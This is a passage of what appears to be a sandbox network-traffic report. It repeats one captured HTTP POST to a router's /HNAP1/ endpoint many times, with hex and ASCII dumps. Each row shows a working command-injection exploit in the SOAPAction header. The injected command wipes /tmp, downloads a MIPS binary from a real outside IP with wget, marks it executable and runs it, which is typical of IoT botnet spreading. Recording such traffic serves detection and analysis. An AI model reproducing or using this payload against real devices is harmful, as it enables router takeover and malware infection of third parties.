69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
